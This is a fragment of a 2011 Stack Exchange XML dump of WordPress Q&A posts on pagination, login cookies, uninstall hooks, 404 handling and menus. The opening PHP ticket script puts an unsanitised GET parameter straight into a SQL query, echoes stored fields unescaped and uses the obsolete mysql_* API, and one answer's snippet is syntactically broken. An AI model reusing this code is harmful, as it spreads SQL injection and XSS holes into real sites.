$viewstate='pending';&#xA;}&#xA;&#xA;&#xA;if (isset($_POST['showclosed'])) {&#xA;    $viewstate='closed';&#xA;}&#xA;&#xA;if (isset($_POST['show_all'])) {&#xA;    $viewstate='all';&#xA;}&#xA;&#xA;&#xA;$display = 6;&#xA;&#xA;if (isset($_GET['np'])) {&#xA;    $num_pages = $_GET['np'];&#xA;&#xA;} else {&#xA;&#xA;        if ($viewstate=='open') {   &#xA;        $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev WHERE status='Open' ORDER BY ticket_number ASC&quot;;&#xA;        $query_result = mysql_query ($query); &#xA;        $num_records = @mysql_num_rows ($query_result);&#xA;&#xA;        if ($num_records &amp;gt; $display) {&#xA;    $num_pages = ceil ($num_records/$display);&#xA;} else {&#xA;    $num_pages = 1;&#xA;    }&#xA;}&#xA;&#xA;&#xA;    elseif ($viewstate=='pending') {&#xA;        $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev WHERE status LIKE 'Pending%' ORDER BY ticket_number ASC&quot;;&#xA;        $query_result = mysql_query ($query); &#xA;        $num_records = @mysql_num_rows ($query_result);&#xA;&#xA;        if ($num_records &amp;gt; $display) {&#xA;    $num_pages = ceil ($num_records/$display);&#xA;} else {&#xA;    $num_pages = 1;&#xA;}&#xA;    }&#xA;&#xA;elseif ($viewstate=='closed') {&#xA;        $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev WHERE status='Closed' ORDER BY ticket_number ASC&quot;;&#xA;        $query_result = mysql_query ($query); &#xA;        $num_records = @mysql_num_rows ($query_result);&#xA;&#xA;        if ($num_records &amp;gt; $display) {&#xA;    $num_pages = ceil ($num_records/$display);&#xA;} else {&#xA;    $num_pages = 1;&#xA;    }&#xA;&#xA;}&#xA;else {&#xA;        $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev ORDER BY ticket_number ASC&quot;;&#xA;        $query_result = mysql_query ($query); &#xA;        $num_records = @mysql_num_rows ($query_result);&#xA;&#xA;        if ($num_records &amp;gt; $display) {&#xA;    $num_pages = ceil ($num_records/$display);&#xA;} else {&#xA;    $num_pages = 1;&#xA;    }&#xA;}&#xA;}&#xA;&#xA;&#xA;if (isset($_GET['s'])) {&#xA;    $start = $_GET['s'];&#xA;} else {&#xA;    $start = 0;&#xA;}&#xA;&#xA;    $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev ORDER BY ticket_number ASC LIMIT $start, $display&quot;;&#xA;    if ($viewstate=='open') {&#xA;&#xA;        $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev WHERE status='Open' ORDER BY ticket_number ASC LIMIT $start, $display&quot;;&#xA;        }&#xA;            elseif ($viewstate=='pending') {&#xA;        $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev WHERE status LIKE 'Pending%' ORDER BY ticket_number ASC LIMIT $start, $display&quot;;&#xA;        }&#xA;        elseif ($viewstate=='closed') {&#xA;        $query = &quot;SELECT ticket_number, first_name, surname, email, product, retailer, DATE_FORMAT(dop, '%d %M %Y') AS dop, message, address, DATE_FORMAT(created, '%d %M %Y %r') AS created, status FROM support_dev WHERE status='Closed' ORDER BY ticket_number ASC LIMIT $start, $display&quot;;}&#xA;        $result = @mysql_query ($query);&#xA;        $num = mysql_num_rows ($result);&#xA;&#xA;    if ($num &amp;gt; 0) {&#xA;&#xA;    if ($num_pages &amp;gt; 1) {&#xA;        echo '&amp;lt;p&amp;gt;';&#xA;        $current_page = ($start/$display) + 1;&#xA;&#xA;        if ($current_page != 1) {&#xA;            echo '&amp;lt;a href=&quot;?page_id=1072?s=' . ($start - $display) . '&amp;amp;np=' . $num_pages . '&quot;&amp;gt;Previous&amp;lt;/a&amp;gt; ';&#xA;        }&#xA;        for ($i = 1; $i &amp;lt;= $num_pages; $i++) {&#xA;            if ($i != $current_page) {&#xA;                echo '&amp;lt;a href=&quot;?page_id=1072?s=' . (($display * ($i - 1))) . '&amp;amp;np=' . $num_pages . '&quot;&amp;gt;' .$i .'&amp;lt;/a&amp;gt; ';&#xA;            } else {&#xA;                echo $i . ' ';&#xA;            }&#xA;        }&#xA;        if ($current_page !=$num_pages) {&#xA;            echo '&amp;lt;a href=&quot;' . $query_result . '?s=' . ($start + $display) . '&amp;amp;np=' . $num_pages . '&quot;&amp;gt;Next&amp;lt;/a&amp;gt; ';&#xA;        }&#xA;        echo '&amp;lt;/p&amp;gt;&amp;lt;br /&amp;gt;'; &#xA;&#xA;    }&#xA;&#xA;&#xA;     if ($result) {&#xA;         echo '&#xA;    &amp;lt;div id=&quot;supviewwrapperheader&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewticket&quot;&amp;gt;&amp;lt;p&amp;gt;Ticket&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt; &#xA;    &amp;lt;div id=&quot;supviewfirst&quot;&amp;gt;&amp;lt;p&amp;gt;First Name&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewlast&quot;&amp;gt;&amp;lt;p&amp;gt;Last Name&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewemail&quot;&amp;gt;&amp;lt;p&amp;gt;Email&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewproduct&quot;&amp;gt;&amp;lt;p&amp;gt;Product&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewretailer&quot;&amp;gt;&amp;lt;p&amp;gt;Retailer&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewdop&quot;&amp;gt;&amp;lt;p&amp;gt;D.O.P.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewmessage&quot;&amp;gt;&amp;lt;p&amp;gt;Message&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewaddress&quot;&amp;gt;&amp;lt;p&amp;gt;Address&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewcreated&quot;&amp;gt;&amp;lt;p&amp;gt;Date created&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewstatus&quot;&amp;gt;&amp;lt;p&amp;gt;Status&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;supviewbuttons&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    ';&#xA;&#xA;    while ($row = mysql_fetch_array($result, MYSQL_NUM)) {&#xA;        echo &quot;&#xA;        &amp;lt;div id=\&quot;supviewwrapper\&quot; class=\&quot;&quot;.($row[10]).&quot;\&quot;&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewticket\&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a name=\&quot;a&quot;.$row[0].&quot;\&quot;&amp;gt;&amp;lt;/a&amp;gt;$row[0]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewfirst\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[1]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewlast\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[2]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewemail\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[3]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewproduct\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[4]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewretailer\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[5]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewdop\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[6]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewmessage\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[7]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewaddress\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[8]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewcreated\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[9]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewstatus\&quot;&amp;gt;&amp;lt;p&amp;gt;$row[10]&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=\&quot;supviewbuttons\&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;form method=\&quot;post\&quot; action=\&quot;&quot;.htmlentities($_SERVER['REQUEST_URI']).&quot;#a&quot;.$row[0].&quot;\&quot;&amp;gt;&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;close_row\&quot; value=\&quot;&quot;.($row[0]).&quot;\&quot; /&amp;gt;&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;viewstate\&quot; value=\&quot;&quot;.$viewstate.&quot;\&quot; /&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;open\&quot; VALUE=\&quot;\&quot; class=\&quot;submit_open\&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;pending\&quot; VALUE=\&quot;\&quot; class=\&quot;submit_pending\&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;pending_ami\&quot; VALUE=\&quot;\&quot; class=\&quot;submit_pendingami\&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;pending_arp\&quot; VALUE=\&quot;\&quot; class=\&quot;submit_pendingarp\&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;close\&quot; VALUE=\&quot;\&quot; class=\&quot;submit_closed\&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;     }&#xA;    mysql_free_result ($result);&#xA;&#xA;     }  &#xA;&#xA;&#xA;if (is_null($viewstate)) {&#xA;    $viewstate='all';&#xA;}&#xA;&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7513" LastActivityDate="2011-08-31T18:37:41.977" Title="Pagination of custom mysql in wordpress" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24602" PostTypeId="2" ParentId="24597" CreationDate="2011-08-01T15:39:56.503" Score="1" ViewCount="" Body="&lt;p&gt;this doesn't answer your question specifically, but you can pass your user id to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_auth_cookie&quot; rel=&quot;nofollow&quot;&gt;wp_set_auth_cookie()&lt;/a&gt; and it will log you in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit - and it appears it's pluggable and has a remember parameter that expires the cookie in 14 rather than 2 days.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-01T15:39:56.503" CommentCount="2" />
  <row Id="24603" PostTypeId="2" ParentId="24601" CreationDate="2011-08-01T15:48:41.213" Score="0" ViewCount="" Body="&lt;p&gt;Lee, looks like you need to look at &lt;code&gt;OFFSET&lt;/code&gt; in MySQL, there is a pretty good explantation &lt;a href=&quot;http://www.petefreitag.com/item/451.cfm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just multiply the offset by the page number -1 so page 2 will only offset 10 instead of 20 and so on. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-08-01T15:48:41.213" />
  <row Id="24604" PostTypeId="2" ParentId="24600" CreationDate="2011-08-01T15:53:08.603" Score="1" ViewCount="" Body="&lt;p&gt;You could always use an &lt;strong&gt;uninstall.php&lt;/strong&gt; file for the plugin instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_uninstall_hook&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_uninstall_hook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the plugin can not be written without running code within the plugin, then the plugin should create a file named 'uninstall.php' in the base plugin folder. This file will be called, if it exists, during the uninstall process bypassing the uninstall hook.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When using 'uninstall.php' the plugin should always check for the WP_UNINSTALL_PLUGIN constant, before executing. The WP_UNINSTALL_PLUGIN constant is defined by WordPress at runtime during a plugin uninstall, it will not be present if 'uninstall.php' is requested directly. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That file would only need literally one line of code if the only intention is to remove an option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php delete_option( 'your-option' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not actually addressing your question, just offering an alternative approach for dealing with plugin deactivation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the problem, i think the issue is you're trying to add the deactivation callback during the  activation hook, which just seems a little backward or incorrect to me, i'd assume deactivation hooks should be registered in the same way as the activation hook, but neither nested inside the other.&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-08-01T15:53:08.603" />
  <row Id="24605" PostTypeId="2" ParentId="24597" CreationDate="2011-08-01T15:54:19.240" Score="3" ViewCount="" Body="&lt;p&gt;Don't know if this is the best way, but I've been using this in functions.php in my themes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function keep_me_logged_in_for_1_year( $expirein ) {&#xA;   return 31556926; // 1 year in seconds&#xA;}&#xA;add_filter( 'auth_cookie_expiration', 'keep_me_logged_in_for_1_year' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-01T15:54:19.240" CommentCount="3" />
  <row Id="24606" PostTypeId="2" ParentId="24593" CreationDate="2011-08-01T16:00:00.137" Score="0" ViewCount="" Body="&lt;p&gt;You could use a javascript redirect to for passing the appropriate query_params. Checkout WP's default widgets file for the categories dropdown widget. When you select a new category, it automatically refreshes the page and redirects you to the archive for that category. I used this same trick (or code for that matter!) to change the query_posts for sorting using GDStar's query params.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;a href='#' id='sort_by_rate_private' value&amp;gt;Sort by Rate per Private Session&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href='#' id='sort_by_rate_group'&amp;gt;Sort by Rate per Group&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;script type='text/javascript'&amp;gt;&#xA;jQuery('#sort_by_rate_private').click(function(){&#xA;     location.href = &quot;&amp;lt;?php echo home_url(); ?&amp;gt;/?sortby=rate_per_private_session&quot;;&#xA;} &#xA;jQuery('sort_by_rate_group').click(function(){&#xA;     location.href = &quot;&amp;lt;?php echo home_url(); ?&amp;gt;/?sortby=rate_per_group&quot;;&#xA;} &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now get the $_POST['sortby'] value, and check it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if(isset($_POST['sortby'] &amp;amp;&amp;amp; $_POST['sortby']=='rate_per_private_session')&#xA;    {&#xA;      query_posts($query_string . '&amp;amp;meta_key=rate_per_private_session');&#xA;    }&#xA;    else if(isset($_POST['sortby'] &amp;amp;&amp;amp; $_POST['sortby']=='rate_per_group')&#xA;    {&#xA;      query_posts($query_string . '&amp;amp;meta_key=rate_per_group');&#xA;    }&#xA;    else&#xA;    {&#xA;      //nothing is set, hence default&#xA;      //whatever&#xA;    } &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just make sure your url is right. Also check the jQuery(I have written as far as I could remember). Try this and let me know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Rutwick&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-01T16:00:00.137" CommunityOwnedDate="2011-08-01T16:00:00.137" CommentCount="2" />
  <row Id="24607" PostTypeId="1" CreationDate="2011-08-01T16:39:06.187" Score="0" ViewCount="42" Body="&lt;p&gt;After trying to replace the wordpress theme , it says that the functions.php file in the theme catalogue - the last line - is not ok &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected $end in ... /themes/themename/functions.php on   line 1500&lt;/p&gt;&#xA;&#xA;&lt;p&gt;line 1500 is actually only symbol       ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ok, here is the pastebin link of the functions.php file that has error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/by5TtZq6&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/by5TtZq6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. i am wondering - since its supposed to be a ready made template - then how could it be error - its supposed to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. may be its some kind of thing that can be messed up by changing wordpress settings or it uses some bad plugins ? ( like permalinks or some cache plugin etc. ) ...&lt;/p&gt;&#xA;" OwnerUserId="7514" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-03T11:46:04.893" LastActivityDate="2011-08-03T11:46:04.893" Title="Functions.php error - when trying to change the theme" Tags="&lt;themes&gt;&lt;functions&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24608" PostTypeId="2" ParentId="24607" CreationDate="2011-08-01T16:47:29.890" Score="1" ViewCount="" Body="&lt;p&gt;I believe that means there's an extra close-function tag somewhere in your functions.php file, &lt;code&gt;$end;&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt; or such. You'll have to pick through the code to find it. A text editor that color-codes code can help with this, but you'll still have to click around and find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-01T16:47:29.890" CommentCount="2" />
  <row Id="24610" PostTypeId="1" CreationDate="2011-08-01T17:23:05.027" Score="0" ViewCount="103" Body="&lt;p&gt;I just updated a menu on a site of mine to utilize wp_nav_menu. Setting this up with WP was fairly straight forward however I've run into one small snag with the the way wordpress is outputting its parent/ancestor classes for use in highlighting the current page that the content belongs to, &lt;em&gt;particularly with single post pages&lt;/em&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highlighting the current page with &lt;code&gt;.current_page_item a&lt;/code&gt; and &lt;code&gt;.current_page_parent a&lt;/code&gt; works perfect as long as its just on a normal page with children, &lt;strong&gt;however as soon as you visit a post from &lt;em&gt;events&lt;/em&gt; or &lt;em&gt;media&lt;/em&gt;, the blog link in the menu is highlighted instead which is incorrect obviously&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*One thing noticeably wrong when looking at Wordpress' output is that the current page classes are not even being generated on the correct &lt;em&gt;li tag&lt;/em&gt; that the post belongs to which seems to be the root of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference, the Events, Media, &amp;amp; Blog pages all use a special query I've written to only grab the respective category for that page, ie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts(&quot;category_name=media&amp;amp;paged=$paged&quot;);&#xA;&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;endwhile;&#xA;else:&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;It should be noted&lt;/strong&gt;: I have a secondary loop in the footer grabbing&#xA;  the latest blog post, dunno if this could be the culprit but Id like&#xA;  to keep that as is since it was placed there upon request of the&#xA;  client.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-- I take it back, I removed the secondary loop in the footer to see what would happen and the same results occurred so its not the problem as far as I can tell.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope thats enough info, if not let me know. &#xA;Best, &#xA;SB&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditorDisplayName="" LastEditDate="2011-08-08T08:05:00.583" LastActivityDate="2011-08-08T08:05:00.583" Title="Trouble highlighting correct menu parent with wp_nav_menu classes while viewing &quot;single posts&quot;" Tags="&lt;query-posts&gt;&lt;custom-menus&gt;&lt;menus&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="11" />
  <row Id="24611" PostTypeId="2" ParentId="24587" CreationDate="2011-08-01T17:24:33.947" Score="2" ViewCount="" Body="&lt;p&gt;simple solution: use the conditional tag is_404() and create an redirect to your static file; include the code in the header.php or index.php of the theme.&#xA;maybe a example from scratch.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if ( is_404() ) {&#xA;      wp_redirect( 'static.htm' );&#xA;      exit;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;links&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_redirect&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_404&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_404&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-08-02T21:20:19.687" LastActivityDate="2011-08-02T21:20:19.687" CommentCount="4" />
  <row Id="24612" PostTypeId="1" CreationDate="2011-08-01T17:29:35.387" Score="2" ViewCount="31" Body="&lt;p&gt;Related to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10088/how-do-i-troubleshoot-responses-with-wp-http-api&quot;&gt;this ticket about issues with inflating data&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far it had been suggested by API's support to &lt;a href=&quot;https://groups.google.com/d/topic/mailchimp-api-discuss/iIhIgMECPJE/discussion&quot; rel=&quot;nofollow&quot;&gt;request gzip instead of deflate&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I cannot find a way to override WP settings that set deflate with highest priority as accepted encoding for all requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related functions - &lt;code&gt;WP_Http_Encoding::is_available()&lt;/code&gt; and &lt;code&gt;WP_Http_Encoding::accept_encoding()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any hook or other option to control this that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-01T17:29:35.387" Title="How to control accept encoding on HTTP API requests?" Tags="&lt;http-api&gt;" />
  <row Id="24613" PostTypeId="2" ParentId="24587" CreationDate="2011-08-01T17:37:46.650" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure that this is possible. If you look at the htaccess code that WordPress creates when you enable permalinks, it basically says: &quot;If the file/directory cannot be found, send it to index.php.&quot; This includes all actual 404 requests. Outside of creating a list of every dynamically-generated public resource that WordPress knows of and directly inserting this into .htaccess, you'll need to load php to handle the 404's.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-08-01T17:37:46.650" />
  <row Id="24614" PostTypeId="1" AcceptedAnswerId="24619" CreationDate="2011-08-01T17:59:28.683" Score="0" ViewCount="31" Body="&lt;p&gt;I'm interested in installing wordpress and having a static front page and have link to the blog at /blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I install wordpress in the root directory, but have the blog live at /blog I see how I could do it for the blog urls, but do I just change the wordpress url in general settings for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7517" LastActivityDate="2011-08-01T19:06:44.397" Title="Help with static front page blog at /blog" Tags="&lt;url-rewriting&gt;&lt;wordpress.com&gt;" AnswerCount="1" />
  <row Id="24615" PostTypeId="2" ParentId="24551" CreationDate="2011-08-01T18:07:04.027" Score="0" ViewCount="" Body="&lt;p&gt;Take a look &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13063/how-to-inspect-global-variables-in-wordpress&quot;&gt;at this Q&lt;/a&gt; and how to inspect the global &lt;code&gt;$wp_query;&lt;/code&gt;. Then just get the relevant part (everything explained in my A).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-01T18:07:04.027" CommentCount="2" />
  <row Id="24616" PostTypeId="2" ParentId="24587" CreationDate="2011-08-01T18:13:36.667" Score="1" ViewCount="" Body="&lt;h3&gt;.htaccess skip WordPress 404 error handling for &lt;strong&gt;static files&lt;/strong&gt;.&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteCond %{REQUEST_URI} !(robots\.txt|sitemap\.xml(\.gz)?)&#xA;        RewriteCond %{REQUEST_FILENAME} \.(css|js|html|htm|rtf|rtx|svg|svgz|txt|xsd|xsl|xml|asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|swf|tar|tif|tiff|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip)$ [NC]&#xA;        RewriteRule .* - [L]&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; These rules were generated by the W3 Total Cache plugin*&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Nginx skip WordPress 404 handling for static files.&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (-f $request_filename) {&#xA;    break;&#xA;}&#xA;if (-d $request_filename) {&#xA;    break;&#xA;}&#xA;if ($request_uri ~ &quot;(robots\.txt|sitemap\.xml(\.gz)?)&quot;) {&#xA;    break;&#xA;}&#xA;if ($request_uri ~* \.(css|js|html|htm|rtf|rtx|svg|svgz|txt|xsd|xsl|xml|asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|swf|tar|tif|tiff|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip)$) {&#xA;    return 404;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-01T18:20:36.863" LastActivityDate="2011-08-01T18:20:36.863" CommentCount="1" />
